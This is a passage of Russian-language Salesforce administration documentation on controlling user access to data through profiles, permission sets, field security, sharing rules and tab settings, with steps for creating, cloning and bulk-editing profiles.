2. Выберите как минимум одного деактивированного пользователя и нажмите кнопку
«Удалить».

Удаленные личные теги не могут быть восстановлены.

СМ. ТАКЖЕ:

Параметры тем и тегов

Управление доступом пользователей к данным

Обеспечение безопасного доступа к данным

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные параметры
управления данными
определяютсяиспользуемой
версией Salesforce.

Выбор набора данных, доступного каждому пользователю или группе пользователей,
являетсяоднимизключевыхрешений, влияющихнабезопасностьданных. Рекомендуем
определить оптимальное соотношение между ограничением доступа к данным
(соответственно, снижениемрисков кражиилиненадлежащегоиспользования данных)
и удобством доступа пользователей к данным.

Чтобы разрешать пользователям доступ только к данным, необходимым для работы,
системаSalesforceподдерживаетуниверсальнуюмодельмногоуровневогообщегодоступа,
позволяющуюпредоставлять разным группампользователей доступ к разнымнаборам
данных.

• Чтобы выбрать объекты, доступные пользователям, назначьте наборы полномочий
и профили.

• Чтобы выбрать поля, доступные пользователям, настройте параметры безопасности поля.

• Чтобы выбрать отдельные записи, доступные пользователям для просмотра и редактирования, настройте единые
параметры общего доступа, определите иерархию ролей и создайте правила общего доступа.
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Совет: При внедрении правил безопасности и общего доступа рекомендуем составить таблицу разных типов
пользователей организации. Выберите уровень доступа к данным, который должен быть предоставлен каждому
типу пользователя для каждого объекта, а также его полей и записей. Данная таблица может использоваться при
настройке модели безопасности.

Ниже описаны данные параметры безопасности и общего доступа.

Безопасность объекта (наборы полномочий и профили)
Безопасность объекта (или полномочия объекта) — это самый простой способ управления данными. Полномочия
объекта позволяют блокировать создание, редактирование, удаление и просмотр любого экземпляра отдельного
типа объекта (например, интереса или возможности). Полномочия объекта позволяют скрывать целые вкладки и
объекты от отдельных пользователей, которые могут даже не догадываться об их существовании.

Полномочияобъектамогутбытьзаданыпосредствомнаборовполномочийипрофилей. Наборыполномочийипрофили —
это совокупности параметров и полномочий, которые определяют действия, доступные пользователю в данном
приложении. Наборы полномочий и профили аналогичны группам в сети Windows, участникам которых
предоставляются одинаковые полномочия доступа к папкам и программному обеспечению.

Как правило, профили определяются рабочей функцией пользователя (например, системный администратор или
торговый представитель). Профиль может быть назначен множеству пользователей, тогда как одному пользователю
можетбытьназначентолькоодинпрофиль. Крометого, наборыполномочийпозволяютпредоставлятьпользователям
дополнительные полномочия и параметры доступа. Благодаря наборам полномочий, которые могут назначаться
каждомупользователювнеограниченномпорядке, управлениеполномочиямипользователейипараметрамидоступа
стало еще более удобным.

Безопасность поля (наборы полномочий и профили)
Иногда пользователям долженбыть доступенобъект, нонедоступныотдельныеполя данного объекта. Безопасность
поля (илиполномочияполя) определяетвозможностьпросмотра, редактированияиудалениязначениядляотдельного
поляобъекта. Полномочияполяпозволяютзащищатьконфиденциальныеполябезограничениядоступапользователей
ко всему объекту. Кроме того, полномочия поля могут быть заданы в наборах полномочий и профилях.

Вотличиеотмакетовстраниц, контролирующихдоступностьполейтольконастраницахпросмотраиредактирования
сведений, полномочияполяопределяютдоступностьполейвлюбойобластиприложения, включаясвязанныесписки,
списковыепредставления, отчетыирезультатыпоиска. Чтобыскрытьотдельноеполеотпользователя, воспользуйтесь
полномочиями поля. Подобный уровень защиты поля предоставляется только данными параметрами.

Прим.: Безопасность поля не препятствует поиску значений в поле. Если критерии поиска соответствуют
значениямполей, защищенныхпараметрамибезопасности, торезультатыпоиска возвращаютсвязанные записи
без защищенных полей и их значений.

Безопасность записи (общий доступ)
При необходимости настройте параметры доступа для записей после настройки полномочий объекта и поля.
Безопасность записипозволяетпредоставлятьпользователямдоступкопределеннымзаписямобъекта. Каждая запись
принадлежит пользователюили очереди. Ответственному предоставляется полный доступ к записи. Вышестоящим
пользователямиерархиивсегдадоступнызаписинижестоящихпользователей. Данныйдоступприменяетсяк записям,
принадлежащим пользователям, и записям, доступ к которым предоставляется другими пользователями.

Чтобы задать безопасность записи, настройте единые параметры общего доступа, определите иерархию и создайте
правила общего доступа.

• Единые параметры общего доступа. Сначала рекомендуем определить единые параметры общего доступа для
каждого объекта. Единые параметры общего доступа определяют стандартный уровень доступа пользователей к
записям других пользователей.

Рекомендуемиспользовать единыепараметрыобщегодоступадлямаксимальногоограничениядоступа к данным,
а безопасность записииинструментыобщего доступа — дляпредоставлениядоступа выбраннымпользователям.
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Например, пользователям предоставлены полномочия объекта на чтение и редактирование возможностей, а
единым параметрам общего доступа задано значение «Только для чтения». По умолчанию данные пользователи
могут просматривать все записи возможностей, но редактировать записи только при наличии ответственности
или дополнительных полномочий.

• Иерархия ролей. Чтобы расширить уровень доступа к записям, предоставленный едиными параметрами общего
доступа, рекомендуемиспользовать иерархиюролей. Подобно схеме организации, иерархия ролей представляет
собой уровень доступа к данным, необходимыйпользователюили группе пользователей. Независимо от единых
стандартных параметров, иерархия ролей всегда предоставляет вышестоящим пользователям доступ к данным
нижестоящих пользователей. Иерархии ролей могут не соответствовать схеме организации. Взамен, каждая роль
иерархии должна соответствовать уровню доступа к данным, необходимому пользователю или группе
пользователей.

При необходимости доступ к записям может быть предоставлен посредством иерархии территорий. Иерархия
территорий предоставляет пользователям доступ к записям на основе таких критериев, как почтовый индекс,
отрасль, доход или соответствующее настраиваемое поле.Например, создайте иерархию территорий, где
пользователю роли «Северная Америка» доступны данные, которые недоступны пользователям ролей «Канада»
и «США».

Прим.: Несмотря на некоторое сходство, наборы полномочий и профили определяют другие уровни
доступа, чем роли. Наборы полномочий и профили определяют полномочия пользователя для доступа к
объектам и полям. Роли определяют уровень доступа пользователя к записям посредством иерархии ролей
и правил общего доступа.

• Правила общего доступа. Правила общего доступа позволяют автоматически предоставлять дополнительный
доступ отдельным группам пользователей к скрытым или чужим записям. Подобно иерархиям ролей, правила
общего доступа позволяют только предоставлять дополнительный доступ к записям и не могут ограничивать
уровень доступа, заданный посредством единых стандартных параметров.

• Общий доступ, установленный вручную. Иногда проблематично определить единую группу пользователей,
нуждающихся в доступе к отдельному набору записей. В подобных случаях ответственные за записи могут
использоватьобщийдоступ, установленныйвручную, дляпредоставленияполномочийчтенияиредактирования
пользователям, которым запись недоступна другими способами. В отличие от единых стандартных параметров,
иерархий ролей и правил общего доступа, общий доступ, установленный вручную, не является автоматическим
процессом, но позволяет ответственным за записи предоставлять доступ нужным пользователям.

• Управляемый общий доступ к Apex. Если правила общего доступа и общий доступ, установленный вручную, не
обеспечиваютжелаемогорезультата, рекомендуемдополнительновоспользоватьсяуправляемымобщимдоступом
к Apex. Управляемый общий доступ к Apex позволяет разработчикам предоставлять программный доступ к
настраиваемымобъектам. Еслиобщийдоступкнастраиваемомуобъектупредоставляетсяпосредствомуправляемого
общего доступа к Apex, то добавление или изменение уровня общего доступа к записи настраиваемого объекта
доступно только при наличии полномочия «Изменение всех данных», а изменения ответственного за запись
остаются общедоступными.

СМ. ТАКЖЕ:

Профили

Наборы полномочий

Общие сведения о безопасности поля

Параметры общего доступа
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Полномочия и доступ пользователя

Полномочия и доступ пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные полномочия и
параметры определяются
используемой версией
Salesforce.

Полномочияпользователяипараметрыдоступаопределяютсяпрофилямиинаборами
полномочий. Для повышения эффективности использования профилей и наборов
полномочий рекомендуем просмотреть существующие между ними различия.

Полномочия и параметры доступа определяют действия, доступные пользователям в
организации. Например, полномочия позволяют пользователям редактировать записи
объекта, просматривать меню «Настройка», очищать корзину организации и
восстанавливать пароли. Параметры доступа определяют другие функции (например,
доступ к классам Apex, доступность приложения и время входа пользователей).

Каждому пользователю может быть назначен только один профиль, но несколько
наборов полномочий.

Приопределениидоступапользователейрекомендуемиспользоватьпрофилидляназначенияминимальныхполномочий
ипараметров доступа определенным группампользователей. Затемрекомендуемиспользоватьнаборыполномочийдля
предоставления дополнительных полномочий.

Таблица ниже содержит типы полномочий и параметры доступа, задаваемые в профилях и наборах полномочий.

Доступно в наборах полномочийДоступно в профиляхТип полномочия или параметра

Назначенные приложения

Параметры вкладки

Назначения типа записи

Назначения макета страницы

Полномочия объекта

Полномочия поля

Полномочия пользователя
(приложение и система)

Доступ к классу Apex

Доступ к странице Visualforce

Доступ к внешнемуисточнику данных

Доступ к поставщику услуг (если
система Salesforce включена в качестве
поставщика удостоверений)

Настраиваемые полномочия

Доступ к клиенту для рабочего стола

Время входа
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Доступно в наборах полномочийДоступно в профиляхТип полномочия или параметра

Диапазоны IP-адресов входа

СМ. ТАКЖЕ:

Профили

Наборы полномочий

Отмена полномочий и доступа

Профили

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Каждому новому пользователю назначается профиль. Профили определяют порядок
доступа пользователей к объектам и данным, а также доступные действия.

Организацияиспользуетнесколькостандартныхпрофилей, позволяющихредактировать
ограниченноеколичествопараметров. Организации Enterprise Edition, Performance Edition,
Unlimited Edition и Developer Edition позволяют использовать стандартные профили и
создавать настраиваемые профили. Настраиваемые профили поддерживают
редактирование всех полномочий и параметров, кроме лицензии пользователя.
Организации Contact Manager, Group Edition и Professional Edition позволяют назначать
пользователям стандартные профили, но не поддерживают просмотр или
редактирование стандартных профилей и создание настраиваемых профилей.

Каждый профиль принадлежит только одному типу лицензии пользователя.

Система Salesforce поддерживаетдваинтерфейсапрофиля. Нижеперечисленыдействия,
доступные в зависимости от включенного пользовательского интерфейса профиля.

• Просмотр и редактирование профилей в расширенном пользовательском интерфейсе профиля

• Просмотр и редактирование профилей в исходном пользовательском интерфейсе профиля

СМ. ТАКЖЕ:

Стандартные профили

Управление списками профилей

Пакетное редактирование профилей в списковых представлениях профилей

Стандартные профили

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные стандартные
профили определяются
используемой версией
системы.

Каждая организация использует стандартные профили, которые могут быть назначены
пользователям. Стандартныепрофилипозволяютредактироватьнекоторыепараметры.

Каждаяорганизацияиспользуетстандартныепрофили. Версии Enterprise Edition, Unlimited
Edition, Performance Edition и Developer Edition позволяют использовать стандартные
профили, а также создавать, редактировать и удалять настраиваемые профили. Если
организациянеподдерживает созданиенастраиваемыхпрофилей (например, в версиях
Contact Manager, Group Editionи Professional Edition), топользователяммогутбытьназначены
стандартные профили, недоступные для просмотра или редактирования.

Таблица ниже содержит часто используемые полномочия стандартных профилей.
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Доступные полномочияИмя профиля

Настройкаприложения. Доступковсемфункциям, которые
не требуют дополнительной лицензии. Например,

Системный администратор

администраторы могут управлять кампаниями только при
наличии лицензии «Пользователь Marketing». Управление
прайс-листами и продуктами. Редактирование любого
плана продаж, переопределение прогнозов и просмотр
любого прогноза.

Использование настраиваемых приложений Force.com
AppExchange, разработанных в организации или

Стандартный пользователь платформы

установленных из каталога AppExchange. Кроме того,
использование базовых функций платформы (например,
организации, контакты, отчеты, панели мониторинга и
настраиваемые вкладки).

Использование одного настраиваемого приложения
AppExchange, разработанного в организации или

Стандартный пользователь приложения Platform One

установленного из каталога AppExchange. Настраиваемое
приложениеограничиваетсяпятьювкладками. Крометого,
использование базовых функций платформы (например,
организации, контакты, отчеты, панели мониторинга и
настраиваемые вкладки).

Созданиеиредактированиеосновныхтиповзаписей, запуск
отчетов и просмотр настроек организации. Просмотр

Стандартный пользователь

кампаний (кроме управления). Создание решений (кроме
проверки). Редактирование личного плана продаж и
переопределение прогнозов.

Может выполнить вход через сообщество. Доступ
пользователей ко вкладкам, объектам и другим функциям

Пользователь Customer Community

Пользователь Customer Community Plus определяетсяпараметрамисообществаимодельюобщего
Пользователь Partner Community доступа. Дополнительную информацию см. в разделе

«Лицензии пользователей сообщества».

Может выполнить вход через клиентский портал или
сообщество.Просмотр и редактирование собственных

Пользователь клиентского портала

данных или данных, принадлежащих или доступных
нижестоящимпользователямвиерархииролейклиентского
портала; а также просмотр и редактирование обращений,
поле «Имя контакта» которых содержит их имена.

Может выполнить вход через клиентский портал или
сообщество.

Профили «Массовыйклиентскийпортал»и «Проверенный
веб-узел» являются пользователями массового портала.

Массовый клиентский портал

Проверенный веб-узел

Может выполнить вход через клиентский портал или
сообщество.Просмотр и редактирование собственных

Менеджер клиентского портала
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Доступные полномочияИмя профиля

данных или данных, принадлежащих или доступных
нижестоящимпользователямвиерархииролейклиентского
портала; а также просмотр и редактирование обращений,
поле «Имя контакта» которых содержит их имена.

Может выполнить вход через партнерский портал или
сообщество.

Пользователь-партнер

Проверка и публикация решений. Кроме того, доступ к
функциям, доступным стандартному пользователю.

Менеджер решений

Управление кампаниями, импорт интересов, создание
фирменных бланков, создание HTML-шаблонов эл. почты,

Пользователь Marketing

управление общедоступными документами и обновление
журнала кампании посредством мастеров импорта. Кроме
того, доступ к функциям, доступным стандартному
пользователю.

Создание, редактирование, активация и утверждение
контрактов. Данный профиль может удалять неактивные

Менеджер контрактов

контракты. Редактирование личного плана продаж и
переопределение прогнозов.

Просмотрнастроекорганизации, запускиэкспортотчетов,
а также просмотр других записей (кроме редактирования).

Только для чтения

Вход только в Chatter. Доступ ко всем стандартным
профилям, группам, файлам и людям Chatter.Ниже
перечислены дополнительные доступные действия.

Пользователь Chatter Only

• Просмотр организаций и контактов Salesforce

• Использование Salesforce CRM Content, «Идеи» и
«Ответы»

• Доступ к отчетам и панелям мониторинга

• Использование и утверждение бизнес-правил

• Использованиекалендарядлясозданияиотслеживания
действий

• Просмотр и изменение не более 10 настраиваемых
объектов

• Добавление записей в группы

Прим.: Рекомендуем предоставить профилю
«Пользователь Chatter Only» доступ ко вкладкам для
стандартных объектов Salesforce, которые по
умолчанию не отображаются.

Версия Professional Edition позволяет выполнять
данные действия только при поддержке профилей.
Дополнительную информацию можно получить в
компании Salesforce.
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Доступные полномочияИмя профиля

Доступно только при наличии лицензии пользователя
Chatter Only.

Дополнительную информацию о пользователях Chatter
Plus см. в документе «Chatter Plus. Вопросы и ответы».

Вход только в Chatter. Доступ ко всем стандартным
профилям, группам, файлам и людям Chatter.

Доступно только при наличии лицензии пользователя
Chatter Free.

Пользователь Chatter Free

Вход только в Chatter, а также доступ к группам со своим
участием и взаимодействие с участниками данных групп.

Пользователь Chatter External

Доступно только при наличии лицензии пользователя
Chatter External.

Вход только в Chatter. Доступ ко всем стандартным
профилям, группам, файлам и людям Chatter.Ниже
перечислены дополнительные доступные действия.

Пользователь-модератор Chatter

• Активация и деактивация других пользователей и
модераторов Chatter Free

• Предоставление и отмена привилегий модератора

• Удаление доступных сообщений и комментариев

Прим.: Изменение профиля
«Пользователь-модератор Chatter» на профиль
«Пользователь Chatter Free» инициирует удаление
привилегий модератора в Chatter.

Доступно только при наличии лицензии пользователя
Chatter Free.

ВходтольковприложениеSite.com. Каждомупользователю
Site.com Only также должна быть предоставлена лицензия

Пользователь Site.com Only

Site.com Publisher (для создания и публикации сайтов) или
Site.com Contributor (для редактирования содержимого
сайтов).

Ниже перечислены дополнительные доступные действия.

• Использование одного настраиваемого приложения с
20 настраиваемыми объектами

• Доступ к приложению «Содержимое» (кроме объектов
«Организации» и «Контакты»)

• Созданиенеограниченногоколичестванастраиваемых
вкладок
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Доступные полномочияИмя профиля

Доступно только при наличии лицензии пользователя
Site.com Only.

СМ. ТАКЖЕ:

Профили

Полномочия пользователя

Управление списками профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра профилей и
печати списков профилей:
• «Просмотр настройки и

конфигурации»

Для удаления списковых
представлений профилей:
• «Управление

профилями и наборами
полномочий»

Для удалениянастраиваемых
профилей:
• «Управление

профилями и наборами
полномочий»

Каждому новому пользователю назначается профиль. Профили определяют порядок
доступапользователейкобъектамиданным, а такжедоступныедействия.Дляпросмотра
профилей в организации введите строку «Профили» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Профили».

Просмотр расширенных списков профилей

Если организация поддерживает расширенные списковые представления профилей,
топользователюпредоставляетсядоступкдополнительныминструментамдлянастройки,
просмотра, управления и печати списков профилей.

• Просмотротфильтрованногоспискапрофилейпутемвыборанужногопредставления
в раскрывающемся списке.

• Удаление выбранного представления посредством ссылки «Удалить».

• Создание спискового представления или редактирование текущего представления.

• Создание профиля.

• Печать спискового представления посредством значка .

• Обновление созданного или измененного спискового представления посредством

значка .

• Редактирование полномочий в списковом представлении.

• Просмотр или редактирование профиля путем выбора его имени.

• Удаление настраиваемого профиля посредством ссылки «Удал.».

Прим.: Профиль, назначенныйпользователю, неможетбыть удалендажепри
его неактивности.

Просмотр основного списка профилей

• Создание профиля.

• Просмотр или редактирование профиля путем выбора его имени.
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• Удаление настраиваемого профиля посредством ссылки «Удал.».

СМ. ТАКЖЕ:

Пакетное редактирование профилей в списковых представлениях профилей

Профили

Создание и редактирование списковых представлений профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
списковых представлений
профилей:
• «Управление

профилями и наборами
полномочий»

Если организация поддерживает расширенные списковые представления профилей,
то система позволяет создавать списковые представления профилей для просмотра
набора профилей с выбранными полями. Например, пользователь может создать
списковое представление всех профилей, содержащих полномочие «Изменение всех
данных».

1. Щелкните ссылку «Создать новое представление» или выберите нужное
представление и щелкните ссылку «Правка» на странице «Профили».

2. Введите имя представления.

3. Введите условия, которым должны соответствовать выбранные элементы списка, в
разделе «Определениекритериевфильтрации» (например, «"Изменение всех данных"
равно "Истина"»).

a. Чтобы выбрать нужный параметр, введите его имя илищелкните значок поиска

.

b. Выберите оператор фильтрации.

c. Введите нужное значение.

d. Чтобы задать другое условие фильтра, щелкните ссылку «Добавить строку».
Разрешается задавать не более 25 условий фильтра.

Чтобыудалитьусловиефильтраиегозначения, щелкнитезначокудалениястроки
.

4. Выберите параметры профиля, которые должны отображаться в списковом
представлении в виде столбцов, в разделе «Выбор столбцов для отображения».

a. Выберите нужный тип параметра в раскрывающемся списке «Поиск».

b. Введите все слово или только его часть и нажмите кнопку «Найти».

Прим.: Если поиск возвращает более 500 значений, то результаты не отображаются. Чтобы уточнить
критерии поиска и сократить количество результатов, выполните предыдущие действия.

c. Чтобыдобавитьили удалить столбцы, выберитеимя какминимумодного столбцаинажмите кнопку «Добавить»
или «Удалить».

d. Чтобы изменить порядок отображения столбцов, воспользуйтесь кнопками «Вверх» и «Вниз» или крайними
кнопками «Сверху» и «Снизу».

Разрешается добавлять не более 15 столбцов в одно списковое представление.
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5. Нажмитекнопку «Сохранить». Чтобысохранитьклонированноепредставление, введитеновоеимяинажмитекнопку
«Сохранить как».

СМ. ТАКЖЕ:

Пакетное редактирование профилей в списковых представлениях профилей

Пакетное редактирование профилей в списковых представлениях профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного
редактирования профилей
в списковом представлении:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Если организация использует расширенные списковые представления профилей, то
пользователь может изменить полномочия для 200 профилей из спискового
представления. Принаведенииуказателямышинаредактируемые ячейкиотображается
значок карандаша ( ), а на нередактируемые — значок замка ( ).Иногда параметр
недоступен для редактирования даже при отображении значка карандаша (например, в
стандартных профилях).

Внимание: Рекомендуемпроявлятьвнимательностьприредактированиипрофилей
даннымметодом. Профили определяют основной уровень доступа пользователя,
поэтому пакетные изменения могут влиять на пользователей организации.

Чтобы изменить полномочия как минимум в одном профиле, выполните указанные
ниже действия.

1. Выберите или создайте списковое представление, содержащее нужные профили и
полномочия.

2. Чтобыизменитьнесколькопрофилей, установитефлажокнапротивкаждогонужного
профиля. Привыборепрофилейнаразныхстраницах система Salesforce запоминает
выбранные профили.

3. Дваждыщелкните нужное полномочие. При пакетном редактировании профилей
дваждыщелкните нужное полномочие в любом выбранном профиле.

4. Включите или отключите полномочие во всплывающем диалоговом окне. Иногда
изменение одного полномочия инициирует изменение других полномочий.
Например, если полномочия «Настройка приложения» и «Просмотр настройки и
конфигурации» отключены, то включение полномочия «Настройка приложения»
инициирует включение полномочия «Просмотр настройки и конфигурации». В
этом случае диалоговое окно содержит список измененных полномочий.

5. Чтобыизменить несколькопрофилей, выберите «Все n выбранныхзаписей» (где n — это количество выбранных
профилей).

6. Нажмите кнопку «Сохранить».

Прим.:

• Стандартные профили поддерживают встроенное редактирование только при наличии полномочий «Единая
регистрация» и «В зависимости от подразделений».

• Пакетное редактирование профилей изменяет только профили, поддерживающие изменяемое полномочие.
Например, профиль, которыйнесодержитполномочие «Изменениевсехданных», неизменяетсяпридобавлении
полномочия «Изменениевсехданных» внесколькопрофилейпосредствомфункциивстроенногоредактирования.

При возникновении ошибки сообщение об ошибке отображает все соответствующие профили и описание ошибки.
Чтобы открыть страницу сведений о профиле, щелкните имя нужного профиля. Выбранные профили отображаются в
окне ошибок серым перечеркнутым текстом.
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Прим.: Чтобыпросмотреть консоль ошибок, рекомендуем отключить блокировку всплывающихокон для домена
Salesforce.

Все изменения регистрируются контрольным журналом настройки.

СМ. ТАКЖЕ:

Профили

Клонирование профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания профилей:
• «Управление

профилями и наборами
полномочий»

Клонирование и настройка существующихпрофилей позволяют сэкономить время на
создании новых.

Совет: Для предоставления определенных полномочий и настройки параметров
индивидуального или группового доступа для клонированных профилей можно
использовать наборы полномочий. Дополнительную информацию см. в разделе
«Наборы полномочий».

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Выполните одно из указанных ниже действий на странице со списком профилей.

• Чтобывыбратьтекущийпрофиль, необходимыйдлядобавлениянового, нажмите
кнопку «Создать профиль».

• Еслиорганизацияиспользуетрасширенныесписковыепредставленияпрофилей,
щелкните ссылку «Клонировать» напротив нужного профиля.

• Щелкнитеимянужногопрофиляинажмитекнопку «Клонировать»настранице
сведений.

Новый профиль использует лицензию пользователя, назначенную исходному
профилю.

3. Введите имя профиля.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Профили
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Просмотр назначенных пользователей профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы просмотреть всех пользователей, назначенных профилю, нажмите кнопку
«Назначенные пользователи» (в расширенном пользовательском интерфейсе
профиля) или «Просмотрпользователей» (висходномпользовательскоминтерфейсе
профиля) на странице общих сведений о профиле. Ниже перечислены действия,
доступные на странице «Назначенные пользователи».

• Создание как минимум одного пользователя

• Сброс паролей для выбранных пользователей

• Редактирование сведений о пользователе

• Просмотр страницы сведений о пользователе путем выбора его имени, псевдонима
или имени пользователя

• Просмотр или редактирование профиля путем выбора его имени

• Экспорт пользователей в Google и создание аккаунтов Google Apps посредством
кнопки «Экспорт в Google Apps» (если организация поддерживает службы Google Apps™)

СМ. ТАКЖЕ:

Профили
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Редактирование полномочий объекта в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра полномочий
объекта:
• «Просмотр настройки и

конфигурации»

Для редактирования
полномочий объекта:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Полномочия объекта определяют тип доступа пользователей к объектам.

1. В меню «Настройка» выполните одно из следующих действий.

• Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Наборы полномочий».

• Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт
«Профили».

2. Выберите нужный набор полномочий или профиль.

3. В зависимости от используемого типа интерфейса, выполните одно из указанных
ниже действий.

• Наборыполномочийилирасширенныйпользовательскийинтерфейспрофиля:
введите имя объекта в поле «Поискпараметров…» и выберите нужный объект
из списка. Нажмите кнопку «Правка» и прокрутите страницу до раздела
«Полномочия объекта».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
и прокрутите страницу до раздела «Полномочия стандартного объекта»,
«Полномочия настраиваемого объекта» или «Полномочия внешнего объекта».

4. Выберите нужные полномочия объекта.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Полномочия объекта

Профили
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Просмотр и редактирование параметров вкладок в наборах полномочий и профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
вкладки:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров вкладки:
• «Управление

профилями и наборами
полномочий»

Параметры вкладки определяют доступность вкладки на странице «Все вкладки» или в
наборе вкладок.

1. В меню «Настройка» выполните одно из следующих действий.

• Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Наборы полномочий».

• Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт
«Профили».

2. Выберите нужный набор полномочий или профиль.

3. Выполните одно из указанных ниже действий.

• Наборыполномочийилирасширенныйпользовательскийинтерфейспрофиля:
введите имя вкладки в поле «Поиск параметров…», выберите предложенный
элемент списка и нажмите кнопку «Правка».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
и прокрутите страницу до раздела «Параметры вкладки».

4. Укажите доступность вкладки.

5. (Только для исходного пользовательского интерфейса профиля) Чтобы заданные
параметрыдоступностивкладкиприменялисьвпользовательскихнастройкахвкладки,
установите флажок «Изменять настройки личных вкладок пользователя».

6. Нажмите кнопку «Сохранить».

Прим.: Если в организации включена поддержка Salesforce CRM Content, но на
страницесведенийопользователенеустановленфлажок«ПользовательSalesforce
CRM Content», то приложение Salesforce CRM Content не будет содержать вкладок.

СМ. ТАКЖЕ:

Профили

Параметры вкладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно во всех версиях,
кроме Database.com
Edition.

Параметры вкладки определяют доступность вкладки на странице «Все вкладки» или в
связанном приложении. Наборы полномочий и профили используют разные метки
для параметров вкладки.

ОписаниеВключенные параметры
в профилях

Включенные параметры
в наборах полномочий

Вкладка доступна на
странице «Все вкладки».
Отдельные пользователи

Отключены стандартные
параметры

Доступно

могут добавить вкладку в
любое приложение.

Вкладка доступна на
странице «Все вкладки» и

Включены стандартные
параметры

Доступно и Отображается
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ОписаниеВключенные параметры в
профилях

Включенные параметры в наборах
полномочий

отображаетсясредивкладоксвязанного
приложения. Отдельныепользователи
могут добавить или скрыть вкладку в
других приложениях.

Вкладка недоступна на странице «Все
вкладки» и в приложениях.

Вкладка скрытаНет

Прим.: Если пользователю назначен другой набор полномочий или профиль, в котором параметры этой же
вкладки включены, то применяются наименее строгие значения. Например, набор полномочий «А» не содержит
параметров, включенных для вкладки «Организации», а набор полномочий «Б» включает параметр «Доступно»
длявкладки «Организации». Приназначениинаборовполномочий «А» и «Б» пользователювкладка «Организации»
отображается пользователю на странице «Все вкладки».

СМ. ТАКЖЕ:

Просмотр и редактирование параметров вкладок в наборах полномочий и профилях

Общие сведения о расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
расширенного
пользовательского
интерфейса профиля:
• «Настройка

приложения»

Расширенный пользовательский интерфейс профиля — это усовершенствованное
средствоуправленияпрофилями. Расширенныйинтерфейспозволяетбыстронаходить,
просматривать и изменять параметры профиля.

Чтобывключитьрасширенныйпользовательскийинтерфейспрофиля, введите строку
«Интерфейс пользователя» в поле «Быстрый поиск» в меню «Настройка», выберите
«Интерфейс пользователя», затем выберите пункт «Включить улучшенный
интерфейснастройкипользователя»инажмите кнопку «Сохранить». Организация
можетодновременноиспользоватьтолькоодинпользовательскийинтерфейспрофиля.

Прим.: Нижеперечисленыусловия, прикоторыхрасширенныйпользовательский
интерфейс профиля недоступен для использования.

• Для управления профилями используется обозреватель Microsoft® Internet
Explorer® 6 или более ранней версии (без программного модуля Google Chrome
Frame™ для Internet Explorer).

• Организацияиспользует группыкатегорийдляпрофилейгостей, используемых
на сайтах.

• Организация делегирует пользователям портала администрирование
партнерским порталом.

СМ. ТАКЖЕ:

Страницаобщихсведенийврасширенномпользовательскоминтерфейсепрофиля

Профили
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Страница общих сведений в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра профилей:
• «Просмотр настройки и

конфигурации»

Для удаления профилей и
редактирования свойств
профиля:
• «Управление

профилями и наборами
полномочий»

Страница общих сведений о профиле в расширенном пользовательском интерфейсе
профиля предоставляет доступ ко всем параметрам и полномочиям профиля.

Чтобы открыть страницу просмотра профиля, введите строку «Профили» в поле
